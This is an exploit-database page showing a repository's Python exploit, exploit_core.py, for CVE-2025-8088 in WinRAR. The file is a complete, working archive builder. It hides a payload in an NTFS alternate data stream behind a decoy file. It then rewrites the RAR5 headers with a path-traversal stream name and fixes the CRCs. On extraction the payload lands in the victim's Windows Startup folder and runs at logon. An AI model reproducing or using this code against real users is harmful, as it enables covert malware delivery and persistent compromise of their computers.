Exploit databaseDownload repository ZIP
GH-badc435611c69003996ae26d198ff6d3
undefined-name12/cve-2025-8088-winrar
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
undefined-name12/cve-2025-8088-winrarRevision 384ba83763a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit_core.py
Python · 9,553 bytesimport os
import shutil
import subprocess
import struct
import zlib
from pathlib import Path
RAR5_SIG = b"Rar!\x1A\x07\x01\x00"
HFL_EXTRA = 0x0001
HFL_DATA = 0x0002
class WinRARExploit:
def __init__(self):
self.winrar_path = self._find_winrar()
def _find_winrar(self):
paths = [
r"C:\Program Files\WinRAR\rar.exe",
r"C:\Program Files (x86)\WinRAR\rar.exe"
]
for path in paths:
if os.path.exists(path):
return path
return None
def create_malicious_archive(self, payload_path: str, output_path: str, decoy_path: str = None, fallback_username:str="Administrator") -> bool:
try:
if not os.path.exists(payload_path):
return False
if not self.winrar_path:
return False
return self._create_ads_exploit(payload_path, output_path, decoy_path, fallback_username)
except Exception as e:
print(f"Error: {e}")
return False
def _run(self, cmd: str, cwd: Path | None = None, check=True):
cp = subprocess.run(cmd, shell=True, cwd=str(cwd) if cwd else None,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
if check and cp.returncode != 0:
raise RuntimeError(f"Command failed ({cp.returncode}): {cmd}\n{cp.stdout}")
return cp
def _ensure_file(self, path: Path, default_text: str | None) -> None:
if path.exists():
return
if default_text is None:
raise SystemExit(f"[-] Required file not found: {path}")
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(default_text, encoding="utf-8")
print(f"[+] Created file: {path}")
def _attach_ads_placeholder(self, decoy_path: Path, payload_path: Path, placeholder_len: int) -> str:
placeholder = "X" * placeholder_len
ads_path = f"{decoy_path}:{placeholder}"
data = Path(payload_path).read_bytes()
with open(ads_path, "wb") as f:
f.write(data)
print("[+] Attached ADS on disk")
return placeholder
def _build_base_rar_with_streams(self, rar_exe: str, decoy_path: Path, base_out: Path) -> None:
if base_out.exists():
base_out.unlink()
self._run(f'"{rar_exe}" a -ep -os "{base_out}" "{decoy_path}"')
def _get_vint(self, buf: bytes, off: int) -> tuple[int, int]:
val, shift, i = 0, 0, off
while True:
if i >= len(buf): raise ValueError("Truncated vint")
b = buf[i]; i += 1
val |= (b & 0x7F) << shift
if (b & 0x80) == 0: break
shift += 7
if shift > 70: raise ValueError("vint too large")
return val, i - off
def _patch_placeholder_in_header(self, hdr: bytearray, placeholder_utf8: bytes, target_utf8: bytes) -> int:
needle = b":" + placeholder_utf8
count, i = 0, 0
while True:
j = hdr.find(needle, i)
if j < 0: break
start = j + 1
old_len = len(placeholder_utf8)
if len(target_utf8) > old_len:
raise ValueError("Replacement longer than placeholder. Increase --placeholder_len.")
hdr[start:start+len(target_utf8)] = target_utf8
if len(target_utf8) < old_len:
hdr[start+len(target_utf8):start+old_len] = b"\x00" * (old_len - len(target_utf8))
count += 1
i = start + old_len
return count
def _rebuild_all_header_crc(self, buf: bytearray) -> int:
sigpos = buf.find(RAR5_SIG)
if sigpos < 0:
raise RuntimeError("Not a RAR5 archive (signature missing).")
pos = sigpos + len(RAR5_SIG)
blocks = 0
while pos + 4 <= len(buf):
block_start = pos
try:
header_size, hsz_len = self._get_vint(buf, block_start + 4)
except Exception:
break
header_start = block_start + 4 + hsz_len
header_end = header_start + header_size
if header_end > len(buf): break
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
struct.pack_into("<I", buf, block_start, crc)
i = header_start
_htype, n1 = self._get_vint(buf, i); i += n1
hflags, n2 = self._get_vint(buf, i); i += n2
if (hflags & HFL_EXTRA) != 0:
_extrasz, n3 = self._get_vint(buf, i); i += n3
datasz = 0
if (hflags & HFL_DATA) != 0:
datasz, n4 = self._get_vint(buf, i); i += n4
pos = header_end + datasz
blocks += 1
return blocks
def _strip_drive(self, abs_path: Path) -> str:
s = str(abs_path)
s = s.replace("/", "\\")
if len(s) >= 2 and s[1] == ":":
s = s[2:]
while s.startswith("\\"):
s = s[1:]
return s
def _build_traversal_name(self, drop_abs_dir: Path, payload_name: str, max_up: int = 16) -> str:
if max_up < 8:
raise SystemExit("[-] --max_up must be >= 8 to reliably reach drive root from typical user folders.")
tail = self._strip_drive(drop_abs_dir)
rel = ("..\\" * max_up) + tail + "\\" + payload_name
if rel.startswith("\\") or (len(rel) >= 2 and rel[1] == ":"):
raise SystemExit("[-] Internal path error: produced an absolute name. Report this.")
return rel
def _patch_archive_placeholder(self, base_rar: Path, out_rar: Path, placeholder: str, target_rel: str) -> None:
data = bytearray(base_rar.read_bytes())
sigpos = data.find(RAR5_SIG)
if sigpos < 0:
raise SystemExit("[-] Not a RAR5 archive (signature not found).")
pos = sigpos + len(RAR5_SIG)
placeholder_utf8 = placeholder.encode("utf-8")
target_utf8 = target_rel.encode("utf-8")
total = 0
while pos + 4 <= len(data):
block_start = pos
try:
header_size, hsz_len = self._get_vint(data, block_start + 4)
except Exception:
break
header_start = block_start + 4 + hsz_len
header_end = header_start + header_size
if header_end > len(data): break
hdr = bytearray(data[header_start:header_end])
c = self._patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
if c:
data[header_start:header_end] = hdr
total += c
i = header_start
_htype, n1 = self._get_vint(data, i); i += n1
hflags, n2 = self._get_vint(data, i); i += n2
if (hflags & HFL_EXTRA) != 0:
_extrasz, n3 = self._get_vint(data, i); i += n3
datasz = 0
if (hflags & HFL_DATA) != 0:
datasz, n4 = self._get_vint(data, i); i += n4
pos = header_end + datasz
if total == 0:
raise SystemExit("[-] Placeholder not found in RAR headers. Ensure you built with -os and same placeholder.")
print(f"[+] Patched {total} placeholder occurrence(s).")
blocks = self._rebuild_all_header_crc(data)
print(f"[+] Recomputed CRC for {blocks} header block(s).")
out_rar.write_bytes(data)
print(f"[+] Wrote patched archive: {out_rar}")
print(f"[i] Injected stream name: {target_rel}")
def _create_ads_exploit(self, payload_path: str, output_path: str, decoy_path: str = None, fallback_username:str="Administrator") -> bool:
workdir = Path.cwd()
decoy_path_obj = Path(decoy_path) if decoy_path else workdir / "decoy.txt"
payload_path_obj = Path(payload_path)
output_rar = Path(output_path)
base_rar = output_rar.with_suffix(".base.rar")
# More robust username detection
current_user = os.getenv('USERNAME') or os.getenv('USER') or fallback_username
print(f"[+] Detected username: {current_user}")
# Use fallback user name path as fallback for compatibility
drop_abs_dir = Path(rf"C:\Users\{fallback_username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup")
print(f"[+] Target directory: {drop_abs_dir}")
if not decoy_path:
self._ensure_file(decoy_path_obj, "PoC\n")
injected_target = self._build_traversal_name(drop_abs_dir, payload_path_obj.name, max_up=8)
print(f"[+] Injected stream name will be: {injected_target}")
ph_len = max(len(injected_target), 128)
placeholder = self._attach_ads_placeholder(decoy_path_obj, payload_path_obj, ph_len)
self._build_base_rar_with_streams(self.winrar_path, decoy_path_obj, base_rar)
self._patch_archive_placeholder(base_rar, output_rar, placeholder, injected_target)
if base_rar.exists():
try:
base_rar.unlink()
except:
pass
print(f"\n[V] Done.")
print(f"Payload will be dropped to: {drop_abs_dir}\\{payload_path_obj.name}")
return output_rar.exists()
def get_available_tools(self):
tools = []
if self.winrar_path:
tools.append("WinRAR CLI")
return tools